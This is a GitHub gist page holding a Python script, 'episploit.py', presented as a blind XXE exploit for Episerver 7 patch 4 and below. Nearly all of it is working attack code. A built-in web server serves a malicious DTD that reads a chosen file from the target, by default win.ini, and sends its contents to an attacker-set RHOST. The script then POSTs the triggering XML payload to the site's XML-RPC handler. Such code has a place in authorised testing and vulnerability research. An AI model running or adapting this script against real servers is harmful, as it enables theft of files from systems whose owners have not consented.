Skip to content

Instantly share code, notes, and snippets.

@jonaslejon
Last active October 5, 2020 01:00
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save jonaslejon/5f92779848360a1a1e676af0795bd9aa to your computer and use it in GitHub Desktop.
Save jonaslejon/5f92779848360a1a1e676af0795bd9aa to your computer and use it in GitHub Desktop.
Episerver XXE Vulnerability - Exploit Episploit
#!/usr/bin/python
##
## episploit.py - Blind XXE file read exploit for Episerver 7 patch 4 and below
##
## Starts a listening webserver, so the exploits needs a public IP and unfiltered port, configure RHOST below!
##
## Written by Jonas Lejon 2017-12-19 <jonas.xxe@triop.se> https://triop.se
## Based on https://gist.github.com/mgeeky/7f45c82e8d3097cbbbb250e37bc68573
##
## Usage: ./episploit.py <target> [file-to-read]
##
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
import urllib
import re
import sys
import time
import threading
import socket
SERVER_SOCKET = ('0.0.0.0', 8000)
EXFIL_FILE = 'file:///c:/windows/win.ini'
# The public facing IP. Change this
RHOST = '1.2.3.4:' + str(SERVER_SOCKET[1])
EXFILTRATED_EVENT = threading.Event()
class BlindXXEServer(BaseHTTPRequestHandler):
def response(self, **data):
code = data.get('code', 200)
content_type = data.get('content_type', 'text/plain')
body = data.get('body', '')
self.send_response(code)
self.send_header('Content-Type', content_type)
self.end_headers()
self.wfile.write(body.encode('utf-8'))
self.wfile.close()
def do_GET(self):
self.request_handler(self)
def do_POST(self):
self.request_handler(self)
def log_message(self, format, *args):
return
def request_handler(self, request):
global EXFILTRATED_EVENT
path = urllib.unquote(request.path).decode('utf8')
m = re.search('\/\?exfil=(.*)', path, re.MULTILINE)
if m and request.command.lower() == 'get':
data = path[len('/?exfil='):]
print 'Exfiltrated %s:' % EXFIL_FILE
print '-' * 30
print urllib.unquote(data).decode('utf8')
print '-' * 30 + '\n'
self.response(body='true')
EXFILTRATED_EVENT.set()
elif request.path.endswith('.dtd'):
print 'Sending malicious DTD file.'
dtd = '''<!ENTITY %% param_exfil SYSTEM "%(exfil_file)s">
<!ENTITY %% param_request "<!ENTITY exfil SYSTEM 'http://%(exfil_host)s/?exfil=%%param_exfil;'>">
%%param_request;''' % {'exfil_file' : EXFIL_FILE, 'exfil_host' : RHOST}
self.response(content_type='text/xml', body=dtd)
else:
print '[INFO] %s %s' % (request.command, request.path)
self.response(body='false')
def send_stage1(target):
content = '''<?xml version="1.0"?><!DOCTYPE foo SYSTEM "http://''' + RHOST + '''/test.dtd"><foo>&exfil;</foo>'''
payload = '''POST /util/xmlrpc/Handler.ashx?pageid=1023 HTTP/1.1
Host: ''' + target + '''
User-Agent: curl/7.54.0
Accept: */*
Content-Length: ''' + str(len(content)) + '''
Content-Type: application/x-www-form-urlencoded
Connection: close
''' + content
print "Sending payload.."
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
port = 80
s.connect((target,port))
s.send(payload)
def main(target):
server = HTTPServer(SERVER_SOCKET, BlindXXEServer)
thread = threading.Thread(target=server.serve_forever)
thread.daemon = True
thread.start()
send_stage1(target)
while not EXFILTRATED_EVENT.is_set():
pass
if __name__ == '__main__':
if len(sys.argv) > 1:
target = sys.argv[1]
if len(sys.argv) > 2:
EXFIL_FILE = sys.argv[2]
main(target)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment